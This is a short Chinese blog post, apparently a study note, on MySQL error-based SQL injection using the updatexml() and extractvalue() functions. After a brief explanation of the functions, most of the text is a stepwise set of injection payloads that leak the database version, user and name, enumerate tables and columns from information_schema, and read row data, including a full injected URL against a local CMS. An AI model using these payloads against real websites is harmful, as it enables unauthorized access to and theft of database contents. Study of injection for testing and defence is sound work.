MYSQL updatexml报错注入

updatexml()函数

updataxml()函数用法

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc


第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点

updatexml报错注入用法

1.爆出数据库的版本信息

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

因为concat()是将其连接成一个字符串,不符合xpath_string格式,会出现格式错误而报错,并会爆出 2.爆出连接用户

and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)

3.链接数据库

and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)

4.爆表

and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=数据库的十六进制表示 limit 0,1) ,0x7e),1)
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=0x7868 limit 0,1) ,0x7e),1)

5.爆列名

http://localhost/xhcms/index.php?r=content&cid=1%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=0x7868%20and%20table_name=%200x6164776F7264%20limit%202,1),0x7e),1)
and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=库的十六进制表示%20and%20table_name=表的十六进制表示%20limit%202,1),0x7e),1)

6.查数据

and updatexml(1,concat(0x7e,(select 列名 from 表名 limit 0,1),0x7e),1)

extractvalue函数

ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数,一个XML标记片段 xml_frag和一个XPath表达式 xpath_expr(也称为 定位器); 它返回CDATA第一个文本节点的text(),该节点是XPath表达式匹配的元素的子元素。

第一个参数可以传入目标xml文档,第二个参数是用Xpath路径法表示的查找路径

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。

 

 利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。

posted @ 2021-03-01 20:15  拾瑾  阅读(730)  评论(0编辑  收藏  举报